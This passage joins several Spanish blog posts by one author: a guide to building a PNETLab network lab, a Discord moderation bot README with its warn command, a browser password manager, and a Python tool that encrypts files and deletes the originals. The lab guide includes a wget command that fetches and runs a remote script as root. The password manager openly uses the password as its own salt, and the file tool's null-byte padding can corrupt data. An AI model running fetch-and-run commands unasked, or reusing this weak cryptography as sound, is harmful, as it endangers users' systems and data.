- Necesitas conseguir las imágenes de los dispositivos, lo que puede ser más complicado.

## CISCO PT vs PNET LAB

- Para principiantes o estudiantes de CCNA, Cisco Packet Tracer es suficiente para aprender conceptos básicos y usar dispositivos Cisco.  
- Para entornos avanzados (CCNP, CCIE o redes heterogéneas), PNETLab es ideal por su soporte para imágenes reales y múltiples fabricantes.

### Beneficios de un Laboratorio

- 💫 **Entorno seguro:** Permiten probar nuevas configuraciones y tecnologías sin afectar la red real
- 💫 **Flexibilidad:** Ofrecen la posibilidad de crear una amplia gama de topologías de red y escenarios de prueba
- 💫 **Escalabilidad:** Permiten escalar las redes virtuales a gran tamaño para probar su rendimiento y confiabilidad.
- 💫 **Rentabilidad:** Son una alternativa económica a la creación de redes físicas para pruebas y entrenamiento

Es necesario contar con VMware Workstation o VirtualBox para la creación de las MVs y contar con espacio suficiente.

## Preparación de Ambiente de Pruebas

| Nombre | Descripción |
| --|--|
| 🐦 **VMware Workstation** | [LINK A VMWARE](https://www.vmware.com/) |
| 🐦 **PNET Lab** | [LINK A PNET](https://pnetlab.com/pages/download) |
| 🐦 **Windows Client Side Eve-ng** | [LINK A EVE-NG](https://www.eve-ng.net/index.php/download/) |
| 🐦 **Kali Linux** | [LINK A KALI](https://www.kali.org/get-kali/#kali-platforms) |
| 🐦 **UNET LAB DRIVE** | [LINK A UNET LAB](https://drive.labhub.eu.org/) |
| 🐦 **DOCS** | [LINK A DOCUMENTACIÓN](https://www.eve-ng.net/index.php/documentation/) |

&nbsp;

## Paso 1: Instalación de PNET

Descarga la maquina PNET en el sitio oficial, deberás obtener un **.OVA** que procederas a montar en VMware. Hasta este momento el archivo se llama PNET_4.2.10.ova.

Una vez descargado y montado en  deberás activar la virtualización anidada como se muestra en la imagen.

![VMWARE](https://pnetlab.com/api/uploader/public/read?file=https://pnetlab.com/Local/pages/page_content/1/image_7.png)

Una vez hecho eso enciende la maquina, en ella verás solo la terminal, coloca el usuario **root** y la contraseña **pnet**.

Esto te llevará a la pantalla de configuración, coloca un password que desees, en dominio

no importa (a menos que tengas uno y quieras usarlo), seleccionas IP Estatica, y finalmente el servidor horario, esto reiniciará la maquina.

Ahora en la IP que se muestra en la pantalla de PNET colocala en tu navegador de Windows:
Selecciona la opción ONline.
Te mostrará la pantalla de login, en ella deberás crearte una cuenta. PNET te redigirá para crear una cuenta.

Una vez la crees vuelves a la pantalla de login de la IP dada por PNET en VMware.

![INICIOSE](https://i.ibb.co/27MzqwG4/Captura-de-pantalla-2025-03-02-172943.png)

Al iniciar sesión selecciona **Console**.
El navegador mostrará un mensaje de alerta al enviar la información, nosotros diremos que enviar de todas formas ya que es hosteada por nosotros mismos.

Al entrar verás algo como esto:

![PLA2](https://i.ibb.co/whNNfmCC/pla2.png)

Aqui se crearán los laboratorios, podras monitorear el estado de la maquina y más cosas.
Antes de crear un laboratorio te mostraré el siguiente paso.

## Paso 2: Instalación de Complementos

En la pagina de Eve-ng descargaremos el Windows Client Side.

![EVE-NG](https://i.ibb.co/CKDLrdYv/Pla3.png)

Este es un pack de herramientas, en este pack se encuentra Wireshark, PUTTY, VNC y más, estan algo viejas las versiones pero son de utilidad.

Tambien puedes descargar las herramientas por separado.

**IMPORTANTE** Instalar VNC y Wireshark en disco C:\

## Paso 3: Instalación de addons

Ahora instalaremos addons necesarios, pnet se maneja similar a minecraft osea le añadiremos mods.

Instalaremos un Mikrotik RouterOS.

Una forma sencilla de descargar imagenes es usar el comando ishare.

Nota: ishare en Pnet esta obsoleto por lo que usaremos ishare2 para ello ejecutaremos el siguiente

comando directamente en pnet de vmware o mediante ssh desde una terminal en

windows, lo que es más sencillo.

```powershell
wget -O /usr/sbin/ishare2 [https://raw.githubusercontent.com/ishare2-org/ishare2-cli/main/ishare2](https://raw.githubusercontent.com/ishare2-org/ishare2-cli/main/ishare2) > /dev/null 2>&1 && chmod +x /usr/sbin/ishare2 && ishare2
```

Ahora que ya tienes ishare2 instalado te mostraré el siguiente paso.

## Paso 4: Busqueda de imagenes

Con este comando buscaremos imagenes sea para qemu u otros, varios routers se manejan con iol como cisco y las imagenes linux en qemu como kali.

```powershell
  ishare2 search all
  ishare2 search bin
  ishare2 search qemu
  ishare2 search dynamips
```

Para descargar las imagenes se usa el siguiente comando <number> es el ID que aparece en la lista anterior.

```powershell
  ishare2 pull bin <number>
  ishare2 pull qemu <number>
  ishare2 pull dynamips <number>
```

y LISTO! la imagen se descarga se formatea según los **DOCS** de Eve-ng y se asignan los permisos automaticamente, super sencillo no es asi?.

Otra alternativa es usar el Drive de UNET LAB, ahi estan las carpetas y los discos listos para descargarse y usar.

las imagenes o discos deberan corresponder con su formato según la documentación de Eve-ng en **/opt/unetlab/addons/qemu/**

Lo unico importante es revisar el estado de la maquina PNET y el espacio restante.

https://github.com/pnetlabrepo/ishare2

## Paso 5: Creación de Laboratorio

Ahora crearemos el primer laboratorio, en el navegador una vez logueado y dentro. e clic al icono de crear laboratorio.

Verás un lienzo en blanco y el logo de PNET, solo hacé clic derecho y veras varias opciones. deberas dar clic en Node.

![PLA4](https://i.ibb.co/LXRmRWVR/pla4.png)

Esto creará un nodo, y deberás ver los sistemas o dispositivos que descargaste, en mi caso yo descarge un mikrotik.

![PLA5](https://i.ibb.co/TdFQ7FY/PLA5.png)

Se desplagará un panel con configuraciones para el router, se asignan memoria ram, etc y listo ya esta ahi.

Añadiremos un Kali, si descargaste una imagen de Kali desde ishare2 ya deberias tenerlo,

si lo descargaste en qemu desde la pagina deberias solo arrastarlo a /addons/qemu,

pero si descargaste la iso deberás instalar el sistema con su disco (algo que mostraré mas tarde).

Una ve ya montados solo se encienden en botón y esperamos.
hacemos doble clic y veremos sus interfaces QEMU sto es posible gracias a las herramientas de Eve-ng de Client Side.

![PLA6](https://i.ibb.co/bMD7194Q/pl6.png)

Como puedes notar en la imagen en este ejemplo ya monte un kali, un extremeos y un mikrotik,

pero el kali no tiene conexion a internet, ya que el ping a google no sale, bueno esto se debe a que se debe crear una salida a red.

## Paso 6: Creación de Salida a Red

![PLA4](https://i.ibb.co/LXRmRWVR/pla4.png)

Ahora seleccionaras la opción de Network

![PLA7](https://i.ibb.co/0RwDwPMP/pl7.png)

### Diferencias

**NAT (Network Address Translation):**

Propósito: Permite que varios dispositivos en una red local (LAN) usen una sola dirección IP pública para conectarse a internet.

Cómo funciona: Transforma las direcciones IP internas privadas en una dirección IP pública. Cuando un dispositivo de la red local

envía datos a internet, el enrutador cambia la dirección IP privada del dispositivo a su dirección IP pública.

Cuando los datos vuelven, el enrutador realiza la traducción inversa.

Ventajas: Mejora la seguridad al ocultar las direcciones IP privadas y permite la conservación de direcciones IP públicas.

Uso común: Se usa en enrutadores domésticos y en empresas para permitir que múltiples dispositivos accedan a internet usando una sola dirección IP pública.

**Bridge (Puente):**

Propósito: Conecta dos redes locales (LAN) diferentes, permitiendo que actúen como una sola red unificada.

Cómo funciona: Un puente recibe las tramas de datos de una red y las envía a la otra red. No cambia las direcciones IP de las tramas, simplemente las retransmite.

Ventajas: Amplía el alcance de una red sin necesidad de cambiar la configuración de los dispositivos.

Permite la comunicación directa entre dispositivos en diferentes redes locales.

Uso común: Se usa en redes locales más grandes para conectar diferentes segmentos de red, como en una oficina que tiene múltiples pisos o áreas.

Y por ultimo la opción **Management** te permitira situarte en la red de PNET osea que podras hacer ping desde el host a la

maquina o conectarte por ssh a la maquina de PNET estando dentro de PNET (que loco no).

Para conectarte solo tienes que arrastrar el cable realizar la conexion al puerto y listo.

Como podrás notar en la imagen estoy conectado a la red de administración en esta maquina.

!![PLA8](https://i.ibb.co/bjt50vnp/pl8.png)

> Se que todo esto es bastante simple y me explicación no fue la mejor pero intento detallar lo mas claro posible..

---

&nbsp;

> Mas adelante mostraré a realizar pruebas de penetración a diferentes sistemas en tu laboratorio.

&nbsp;

- 💜 Acceso al [--> Blog](https://aiskoa.vercel.app/es/blog/)

### Gracias por leer

&nbsp;

### Fuentes de consulta

- 🔖 PNET y Eve-ng

Creación de Laboratorio PNET

Fundamentos Ciberseguridad 3


![Cler](https://raw.githubusercontent.com/aiskoa/Cler/refs/heads/main/title.jpg)

# Cler

## Cler Discord multipurpose bot

**Cler** es una bot de Discord para administrar tu servidor, cuenta con multiples comandos como de administración, utilidad y de diversión.

[Cler's Monitor](https://bit.ly/cler-bot)

[Invite Cler on your server](https://discord.com/oauth2/authorize?client_id=774150617546883073&permissions=8&scope=bot)

![Cler_Info](https://i.imgur.com/c7p8GwP.png)

## Lastest Version and What's New

**v4.7.20**

## (Asynchronous Transfer Mode)

* Usa el prefix. `c!` o el Slash `/` Para comandos de moderación
* Bot en Discord.js v14.16.2

Postdata: Si abandoné este proyecto es porque me aburrí o hice una mejor versión.

![ClerAPPS](https://i.imgur.com/qs2J4eg.png)

## 💻 Installation

Para instalar y ejecutar Cler localmente, sigue estos pasos:

1. **Clona el repositorio**:

    ```bash
    git clone git@github.com:aiskoa/Cler.git
    ```

2. **Navega al directorio del proyecto**:

    ```bash
    cd Cler
    ```

3. **Crea un archivo de configuración .env dentro del directorio**:

    ```bash
    BOT_TOKEN=YOUR_BOT_TOKEN
    CLIENT_ID=YOUR_CLIENT_ID
    GUILD_ID=YOUR_GUILD_ID
    PREFIX='YOUR_PREFIX'
    COLOR='0x5e10f8'
    OWNER=YOUR_DISCORD_ID
    ```

4. **Instala las dependencias**:

    ```bash
    npm install
    ```

5. **Ejecuta el comando de carga global**:

    ```bash
    npm deploy-commands.js
    ```

6. **Ejecuta el comando de inicio**:

    ```bash
    npm start
    ```

    Dirigete a tu servidor de discord al que invitaste a tu bot y ejecuta el comando de /help.

## Comandos

Lista completa de comandos en [Documentación](https://aiskoa.gitbook.io/cler)

Estructura y Diagramación en Repositorio de [Github](https://github.com/aiskoa/Cler)

## Admin / Mod

* `/mute  <@member> <reason>` Silencia al miembro etiquetado.
* `/unmute  <@member> <reason>` Quita el Silenco del miembro etiquetado.
* `/set_mute  <@rol>` Define el rol de Mute en el servidor **Importante**.
* `/ban <@member> <reason>` Expulsa del servidor de manera difinitiva al miembro etiquetado.
* `/unban <@member>` Revoca la prohibición del comando anterior.
* `/kick <@member> <reason>` Expulsa del servidor al miembro etiquetado.
* `/softban <@member> <reason>` Expulsa del servidor al miembro etiquetado de manera temporal por 7 dias.
* `/warn <@member> <reason>` Notifica al miembro seleccionado

Lista completa de comandos en [Documentación](https://aiskoa.gitbook.io/cler)

### Comandos contextuales

* `Ver Avatar` Envia el avatar de un usuario Gif / Imagen.

Lista completa de comandos en [Documentación](https://aiskoa.gitbook.io/cler)

---

### COMMAND WARN SLASH Y PREFIX

```javascript
const { SlashCommandBuilder, EmbedBuilder, PermissionFlagsBits } = require('discord.js');
const db = require('megadb');
const warnDB = new db.crearDB('warnings'); // Usar crearDB para inicializar la base de datos

module.exports = {
  data: new SlashCommandBuilder()
    .setName('warn')
    .setDescription('Advierte a un miembro del servidor.')
    .addUserOption(option =>
      option.setName('user')
        .setDescription('El usuario que deseas advertir')
        .setRequired(true))
    .addStringOption(option =>
      option.setName('reason')
        .setDescription('Razón de la advertencia')
        .setRequired(false))
    .setDefaultMemberPermissions(PermissionFlagsBits.ModerateMembers), // Permisos de advertencia

  name: 'warn', // Nombre para comandos con prefijo
  description: 'Advierte a un miembro del servidor.',
  
  async executeSlash(interaction) {
    const member = interaction.options.getMember('user');
    const reason = interaction.options.getString('reason') || 'No se proporcionó razón.';
    await this.warnMember(interaction, member, reason);
  },
  
  async executePrefix(message, args) {
    const member = message.mentions.members.first();
    const reason = args.slice(1).join(' ') || 'No se proporcionó razón.';
    if (!member) {
      //<a:denyxbox:1287542408082358292> son emojis globales, subidos desde discord dev portal
      return message.reply('<a:denyxbox:1287542408082358292> | Por favor menciona a un usuario válido.');
    }
    await this.warnMember(message, member, reason);
  },

  async warnMember(context, member, reason) {
    const isInteraction = !!context.isCommand;

    // Verificar si tiene permisos de advertencia (solo en prefijos)
    if (!isInteraction && !context.member.permissions.has('MODERATE_MEMBERS')) {
      return context.reply({ content: '<:win11erroicon:1287543137505378324> | No tienes permiso para advertir miembros.', ephemeral: true });
    }

    if (!member) {
      return context.reply({ content: '<:440warning:1287542257985126501> | Por favor selecciona a un miembro válido.', ephemeral: true });
    }

    try {
      // Intentar enviar un mensaje directo al usuario
      try {
        await member.send(`<a:1302moderatorprogramsalumnia:1287542225399709737> Has recibido una advertencia en el servidor ${context.guild.name} por ${context.user.tag}. Razón: ${reason}`);
      } catch (error) {
        console.log(`[LOG] No se pudo enviar un mensaje directo a ${member.user.tag}.`);
      }

      // Registrar advertencia en MegaDB
      if (!await warnDB.has(`warnings.${member.id}`)) {
        await warnDB.set(`warnings.${member.id}`, []);
      }
      await warnDB.push(`warnings.${member.id}`, { 
        reason: reason, 
        moderator: context.user.tag, 
        timestamp: new Date().toISOString() 
      });

      // Crear embed para notificar al canal
      const warnEmbed = new EmbedBuilder()
        .setColor(0xffff00) // Amarillo
        .setTitle('<a:1302moderatorprogramsalumnia:1287542225399709737> **ADVERTENCIA**')
        .setDescription(`${member.user.tag} ha recibido una advertencia.`)
        .addFields(
          { name: '<a:9755discordstaffanimated:1287542237571321896> Moderador', value: `${context.user.tag}`, inline: true },
          { name: '<:discordcopyid:1287542182080679997> Miembro', value: `${member.user.tag}`, inline: true },
          { name: '<:discordeditprofile:1287542190926467094> Razón', value: reason, inline: false }
        )
        .setThumbnail(member.user.displayAvatarURL())
        .setTimestamp()
        .setFooter({ text: 'Advertencia registrada', iconURL: context.user.displayAvatarURL() });

      // Enviar el embed como respuesta
      await context.reply({ embeds: [warnEmbed] });

      // Log en consola
      console.log(`[LOG] ${context.user.tag} ha advertido a ${member.user.tag} en ${context.guild.name}`);
    } catch (error) {
      console.error(error);
      context.reply({ content: 'Hubo un error al advertir a este miembro.', ephemeral: true });
    }
  },
};
```

El apartado o modulo más complejo es el index.js, pero debido a que es muy largo no pienso ponerlo, recomiendo revisar el github del proyecto.

Pero en resumen el proyecto lo revivi, si lo abandono de nuevo es porque me aburri jajaja, asi que ahora tiene mas comandos y tiene una funcion de guardar, a si, lo aloje en un intel celeron con poca ram, de igual forma en otro blog daré las caracteristicas del NAS y de la PC.

---

## 🤝 Contributing

Contributions, issues and feature requests are welcome! Feel free to check issues page.

1. **Haz un Fork del Repositorio**: Crea una copia del repositorio en tu cuenta de GitHub.
2. **Crea una Rama**:

    ```bash
    git checkout -b nombre-de-tu-rama
    ```

3. **Haz tus Cambios**: Realiza las modificaciones que deseas agregar.
4. **Commit y Push**:

    ```bash
    git add .
    git commit -m "Descripción de los cambios"
    git push origin nombre-de-tu-rama
    ```

5. **Crea un Pull Request**: Abre un Pull Request desde tu rama a la rama principal del repositorio.

### ❤️ Show your support

Give a ⭐️ if this _project helped you!_

### 💜 License

Copyright © 2024 [aiskoa](https://aiskoa.vercel.app). This project is [AGPL](/LICENSE) licensed.


Cler Discord Bot Version 4.7


![imageTitle](https://i.ibb.co/ygJ41Xk/passpaititle.jpg)

# PassPai

## Secure Password Manager

**PassPai** es una herramienta para la generación y gestión de contraseñas de codigo abierto que permite la generación de contraseñas seguras gracias a la encriptación  AES-256

![PassPai1](https://i.ibb.co/Q9w0D1t/1.png)

![PassPai2](https://i.ibb.co/gRBFQ3v/passpaiim2.png)

## Website

### [➡️ Go to PassPai](https://aiskoa.github.io/PassPai/)

## [Code](https://github.com/aiskoa/PassPai)

## Features

* 🔵 **Generación de Contraseñas**: Crea contraseñas seguras para distintas redes sociales. 😄
* 🔵 **Gestión de Contraseñas**: Guarda y visualiza contraseñas para diversas cuentas.
* 🔵 **Interfaz Adaptativa**: Alterna entre un tema claro y oscuro. 🌸
* 🔵 **Diseño Moderno**: Interfaz limpia con un fondo sutil y efectos visuales atractivos. 🌸
* 🔵 **Descarga de Archivos**: Posibilidad de descargar los archivos generados a nivel local.
* 🔵 **Carga de Archivos**: Gracias a ello podra cargar archivos de forma segura y ver sus contraseñas.
* 🔵 **Seguridad en Nube**: Podrá acceder a sus contraseñas de forma segura **sin necesidad de descargar programas adicionales**. ☁️
* 🔵 **Seguridad a Nivel Militar**: La encriptación **AES-256** protege sus contraseñas contra ataques o robos. 🔒
* 🔵 **Uso de Contraseña Maestra**: Solo necesita recordar una contraseña para acceder a las otras. 🔑

## 💻 Installation

Para instalar y ejecutar KeyForge localmente, sigue estos pasos:

1. **Clona el repositorio**:

    ```bash
    git clone https://github.com/aiskoa/PassPai.git
    ```

2. **Abre el proyecto en tu navegador**:

    Abre el archivo `index.html` en tu navegador para ver la aplicación en acción.

## 🎴 Usage

1. **Generar Contraseñas**: Ve a la pestaña "Generar" y haz clic en "Generar" para crear una nueva contraseña.
2. **Gestionar Contraseñas**: En la pestaña "Gestionar", puedes ver y copiar contraseñas guardadas para diferentes redes sociales.

## 🔒 Configuración de Contraseña Maestra

* **Descargar Contraseñas**: Al descargar el archivo con las contraseñas se le pedira asignar una contraseña maestra. Una vez creada se descargará un archivo llamado **mypasswords** (*puede cambiar el nombre del archivo a su gusto*) con la extención **.pai**.
* **Cargar Contraseñas**: Si desea consultar sus contraseñas, deberá cargar su archivo con extensión **.pai** y escribir su contraseña maestra (*sin ella el archivo no se cargará y deberá intentar de nuevo*).

---

### SAVE PASSWORDS FUNTION

```javascript

  function savePasswordsToFile() {
    promptForMasterPassword((password) => {
      generateEncryptionKey(password).then(key => {
        encryptionKey = key;
        iv = crypto.getRandomValues(new Uint8Array(12)); // IV debe ser único para cada cifrado

        const passwordEntries = Object.entries(passwords);
        if (passwordEntries.length === 0) {
          alert("No hay contraseñas guardadas para descargar.");
          return;
        }

        let passwordText = "Red Social - Contraseña\n";
        // Eso ultimo no tiene utilidad pero aun asi esta
        passwordEntries.forEach(([network, password]) => {
          passwordText += `${network}: ${password}\n`;
        });

        return crypto.subtle.encrypt(
          {
            name: "AES-GCM",
            iv: iv
          },
          encryptionKey,
          new TextEncoder().encode(passwordText)
        ).then(encryptedText => {
          const blob = new Blob([iv, new Uint8Array(encryptedText)], { type: "application/octet-stream" });
          const url = URL.createObjectURL(blob);
          const a = document.createElement("a");
          a.href = url;
          a.download = "mypasswords.pai";
          // la extensión del archivo es PAI para comodidad
          document.body.appendChild(a);
          a.click();
          document.body.removeChild(a);
        });
      });
    });
  }
```

> Se esta usando AES en modo GCM y PBKDF2 con SHA-256

* 🔵 AES-GCM no solo cifra los datos para mantenerlos confidenciales, sino que también incluye un mecanismo para verificar la integridad y autenticidad de los datos cifrados.
* 🔵 Rendimiento: Es conocido por su eficiencia y rendimiento, lo que lo hace adecuado para aplicaciones que requieren alta velocidad de cifrado y descifrado.
* 🔵 Uso Común: Es ampliamente adoptado en protocolos de seguridad como TLS (Transport Layer Security) y en aplicaciones que requieren cifrado seguro y rápido.

* 🔵 PBKDF2 es una función criptográfica utilizada para derivar claves seguras a partir de contraseñas.
* 🔵 Resistente a ataques de fuerza bruta y ataques de diccionario.
* 🔵 “Key stretching” y aumenta significativamente el tiempo necesario para romper una contraseña.
* 🔵 Sal: Un valor aleatorio que se añade a la contraseña para asegurar que contraseñas iguales no generen la misma clave derivada.
* 🔵 Iteraciones: El número de veces que se repite el proceso de derivación. Un mayor número de iteraciones aumenta la seguridad.

**generateEncryptionKey(password):**

```nx
 Genera una clave de cifrado a partir de una contraseña usando PBKDF2 con SHA-256. La sal utilizada es la propia contraseña, lo cual no es una práctica recomendada por motivos de seguridad, pero se hace aquí por simplicidad.
```

**savePasswordsToFile():**

```nx
 Guarda las contraseñas en un archivo cifrado. Primero, solicita una contraseña maestra, genera una clave de cifrado con ella, y luego cifra las contraseñas almacenadas en un objeto. El archivo resultante se descarga con la extensión .pai.
```

| Nombre | Descripción |
| --|--|
|Seguridad | Usar la contraseña como sal no es seguro (Esto se cambiará mas tarde). Es mejor usar una sal aleatoria. |
| Vector de inicialización | Se genera un IV único para cada cifrado, lo cual es correcto. |
| Cifrado | Utiliza AES-GCM, que es un modo de cifrado seguro y moderno. |
| AES-GCM | Advanced Encryption Standard - Galois/Counter Mode (Simetrico)|
| PBKDF2 |  Password-Based Key Derivation Function 2 |

---

### 🤝 Contributing

Contributions, issues and feature requests are welcome! Feel free to check issues page.

### 💜 Show your support

Give a ⭐️ if this *project helped you!*

### 📝 License

Copyright © 2024 [aiskoa](https://aiskoa.vercel.app). This project is [MIT](/LICENSE) licensed.

---


PassPai Local Password Manager


![imageTitle](https://raw.githubusercontent.com/aiskoa-UI/main/img/title.png)

# GIE-UI

## GIE ahora con Interfaz de Usuario || Cifrar y Descifrar Archivos

Un cifrador y descifrador de archivos usando AES, de forma fácil y para carpetas, y envíalo de forma segura, escrito en Python con interfaz de usuario.

![Screenshott](https://i.imgur.com/NC2A0HT.jpeg)

### Características

Cifra y descifra tus archivos y carpetas con AES, para cualquier archivo, jpg, png, mp4, mp3, docx, pdf, etc...

### ¿Por qué GIE?

GIE es el nombre de mi primera novia (es broma 😂), GIE es el acrónimo de cifrado de archivos **G**entil, **I**nteligente y **F**ácil.

## 📦 Requisitos

- **[Python](https://www.python.org/downloads/)**, debería estar instalado en tu sistema (no es necesario).

### 🦠 Anuncio de Antivirus

GIE tiene la capacidad de cifrar rutas y archivos vitales en tu sistema, por lo que es considerado un riesgo por el sistema operativo. Si aún así decides usarlo, deberías crear una excepción para el programa GIE.

[Análisis de Virustotal](https://www.virustotal.com/gui/file/49a6c879bb46ad0f357a545f6f6577bb418c7f210cac60556f45051a9473851b/detection)

[Triage](https://tria.ge/240428-bnst8acg68)

## 💻 Instalación

Ejecuta los comandos según tu caso

Ejecuta el proyecto

```batch
python main.py
```

Ejecuta el archivo **GIE.exe**.
*(La versión portable de GIE está disponible)*

---

## Para Cifrar

Para **Cifrar** una carpeta o archivo

Para carpetas (_debes escribir la ruta tal como aparece en tu explorador de archivos_)

![PATH](https://i.imgur.com/Lah8Ri8.png)

Solo para archivos (_uno o más archivos_)

Solo selecciona los archivos a cifrar.

soporta = jpg, png, mp3, mp4, docx, xlsx, sql, py, zip, etc...

**Introduce una contraseña:**

**IMPORTANTE**

> La contraseña no puede contener los caracteres $ o "" y ''
> La contraseña no será visible mientras la escribes.

Cuando hagas clic en el botón Cifrar, la operación comenzará., comenzará a cifrar los archivos con la extensión **".gie"** y generará un archivo **".GKY"**, que es muy importante para descifrar tu archivo original.

*"GKY" es la extensión del archivo que contiene la clave para el descifrado, junto con la contraseña proporcionada.*

! *Si quieres compartir el archivo con tu colega, tendrás que proporcionarle tres archivos, el .gie, el .GKY y la contraseña.*

**EJEMPLO**

![FileEn](https://i.imgur.com/pGLWaxL.jpeg)


## Para Descifrar

Para **Descifrar** una carpeta o archivo

**IMPORTANTE**  
> La contraseña debe ser la misma que la utilizada para cifrar el archivo, de lo contrario perderás tu archivo para siempre.

El programa buscará si el archivo .GKY existe en la ruta proporcionada e intentará descifrar el archivo con la contraseña, si la contraseña no coincide, el archivo no se descifrará o se descifrará corrupto, si el GKY no existe, el programa mostrará un mensaje de error y no podrá descifrar.

Es muy importante guardar muy bien el .GKY y la CONTRASEÑA.

---

### FUNCIÓN DE CIFRADO

```python
def encrypt_file(input_file: str, password: str):
    password_bytes = password.encode()  
    # Convertir la contraseña a bytes

    key_with_salt = generate_key(input_file, password_bytes)  # Generar la clave usando bytes
    if key_with_salt is None:
        print(Fore.RED + "No se pudo generar la clave." + Style.RESET_ALL)
        return

    key = key_with_salt[16:]  # Obteniendo la clave sin la sal

    iv = os.urandom(16)

    cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend())
    encryptor = cipher.encryptor()

    with open(input_file, "rb") as file_in:
        data = file_in.read()

    padded_data = data + b'\x00' * (-len(data) % 16)
    encrypted_data = encryptor.update(padded_data) + encryptor.finalize()

    output_file = input_file + ".gie"
    with open(output_file, "wb") as file_out:
        file_out.write(iv)
        file_out.write(encrypted_data)

    print(Fore.LIGHTMAGENTA_EX + f"Archivo ENCRIPTADO guardado como: {output_file}" + Style.RESET_ALL)
    os.remove(input_file)
```

### FUNCIÓN DE DESCIFRADO

```python
def decrypt_file(input_file: str, password: bytes):
    base_file = os.path.splitext(os.path.basename(input_file))[0]  # Eliminar todas las extensiones
    while "." in base_file:
        base_file = os.path.splitext(base_file)[0]  # Eliminar todas las extensiones
    # Añadir la extensión .key al nombre del archivo base
    key_file = os.path.join(os.path.dirname(input_file), base_file + ".GKY")
    key_file = os.path.normpath(key_file)  # Normalizar la ruta

    print(f"Buscando el archivo de la clave: {key_file}")  # Imprimir el nombre del archivo de clave que estamos buscando
    if os.path.exists(key_file):
        with open(key_file, "rb") as f:
            key_with_salt = f.read()
            salt = key_with_salt[:16]  # Obtener la sal almacenada
            derived_key = hashlib.pbkdf2_hmac('sha256', password, salt, 100000, 32)
```

> .GKY se usa para descifrar el archivo porque es la clave de paso, el nombre de la extensión .GKY no se puede cambiar.

```python
        with open(input_file, "rb") as file_in:
            iv = file_in.read(16)
            encrypted_data = file_in.read()

        cipher = Cipher(algorithms.AES(derived_key), modes.CBC(iv), backend=default_backend())
        decryptor = cipher.decryptor()

        decrypted_data = decryptor.update(encrypted_data) + decryptor.finalize()
        unpadded_data = decrypted_data.rstrip(b'\x00')

        output_file = os.path.splitext(input_file)[0]
        with open(output_file, "wb") as file_out:
            file_out.write(unpadded_data)

        print(Fore.LIGHTCYAN_EX + f"Archivo DESENCRIPTADO guardado como: {output_file}" + Style.RESET_ALL)
        os.remove(input_file)
```

```python
        # Eliminar el archivo de clave después del descifrado exitoso
        os.remove(key_file)
    else:
        print(Fore.LIGHTRED_EX + "Clave no encontrada." + Style.RESET_ALL)
```

> Si el archivo GKY no se elimina después del descifrado, es posible que genere basura en tu sistema o incluso problemas con otros archivos cifrados.

---

### [⬇️ Descargar ⬇️](https://aiskoahub.io/scripts/GIE/)

### 🤝 Contribuyendo

¡Las contribuciones, los problemas y las solicitudes de características son bienvenidos! Siéntete libre de consultar la página de problemas.

### 💜 Muestra tu apoyo

¡Da una ⭐️ si este proyecto te ayudó! 

### 📝 Licencia

Copyright © 2024 [aiskoa](https://aiskoa.vercel.app). Este proyecto tiene licencia [MIT](/LICENSE).

---

GIE-UI Cifrar y Descifrar archivos


![imageTitle](https://raw.githubusercontent.com/aiskoa/GIE/main/title.jpg)

[![Static Badge](https://img.shields.io/badge/%20build-MIT-brightgreen?logo=github&label=LICENSE)](https://github.com/aiskoa/GIE/LICENSE)
![Static Badge](https://img.shields.io/badge/APRIL%202024-red?label=RELEASE%20DATE)
![Static Badge](https://img.shields.io/badge/LANGUAGE-Python-yellow?logo=python)

# GIE

## Cifrar y Descifrar

Un cifrador y descifrador para archivos y carpetas para Windows, escrito en Python usando AES.

> [!CAUTION]
> Descargo de responsabilidad: Esta herramienta fue creada solo con fines educativos. No me hago responsable del mal uso de esta herramienta.

![aCreator](https://i.ibb.co/q92xdX2/gie-terminal.gif)

## Versión

**GIE V3.0**

### Características

Cifra y descifra tus archivos y carpetas con AES, para cualquier archivo, jpg, png, mp4, mp3, docx, pdf, etc...

**IMPORTANTE LEER TODO**

## 📦 Requisitos

**[Python3](https://www.python.org/downloads/)**

**[Colorama](https://pypi.org/project/colorama/)**

**Subprocess**

**Hashlib**

**Cryptography**

## 💻 Instalación

Ejecuta los comandos según tu caso (Win o Linux)

`pyhon` para windows

Clona o descarga este repositorio

```batch
git clone git@github.com:aiskoa/GIE.git
```

Cambia de directorio

```batch
cd GIE
```

Ejecuta el archivo setup.py

```batch
python setup.py
```

O instala las dependencias manualmente

Ejecuta el proyecto

```batch
python gie.py -h
```

---

## Para Cifrar

Ejecuta `-h` para imprimir la ayuda/uso

```batch
python gie.py -h
```

Para **Cifrar** una carpeta o archivo

* ! La ruta debe estar entre comillas " "

Para carpetas

```batch
python gie.py "C:\TU\CARPETA"
```

Solo para archivos

```batch
python gie.py "C:\TUS\ARCHIVOS.extension"
```

extension = jpg, png, mp3, mp4, docx, etc, etc...

* ! Aparecerá un mensaje que dice: "Introduce una contraseña:"

! NOTA: **La contraseña no puede contener los caracteres $ y "**

Ejemplo de salida:
`python gie.py "D:\Sam\Plugins\IP.exe"`
`Introduce una contraseña:`

Nota: La contraseña no será visible mientras la escribes

Una vez introducida la contraseña, comenzará a cifrar los archivos con la extensión **".gie"** y generará un archivo **".GKY"**, que es muy importante para descifrar tu archivo original.

*"GKY" es la extensión del archivo que contiene la clave para el descifrado, junto con la contraseña proporcionada.*

! *Si quieres compartir el archivo con tu colega, tendrás que proporcionarle tres archivos, el .gie, el .GKY y la contraseña.*

## Para Descifrar

Para **Descifrar** una carpeta o archivo

* ! La ruta y la contraseña deben estar entre comillas " "

Ejecuta `-d` para descifrar
Ejecuta `-p` para establecer la contraseña utilizada anteriormente

Para carpetas

```batch
python gie.py -p "CONTRASEÑA" -d "C:\TU\CARPETA"
```

Solo para archivos

```batch
python gie.py -p "CONTRASEÑA" -d "C:\TUS\ARCHIVOS.extension.gie"
```

---

Ejemplo de salida:
`python gie.py -p "L1ñy*8Cv" -d "D:\Sam\Plugins\IP.exe"`

El programa buscará si el archivo .GKY existe en la ruta proporcionada e intentará descifrar el archivo con la contraseña, si la contraseña no coincide, el archivo no se descifrará o se descifrará corrupto, si el GKY no existe, el programa mostrará un mensaje de error y no podrá descifrar.

Es muy importante guardar muy bien el .GKY y la CONTRASEÑA.

---

### Función de Cifrado

```python
def encrypt_file(input_file: str, password: str):
    password_bytes = password.encode()  # Convertir la contraseña a bytes
    key_with_salt = generate_key(input_file, password_bytes)  # Generar la clave utilizando bytes
    if key_with_salt is None:
        print(Fore.RED + "No se pudo generar la clave." + Style.RESET_ALL)
        return

    key = key_with_salt[16:]  # Obtener la clave sin la sal

    iv = os.urandom(16)

    cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend())
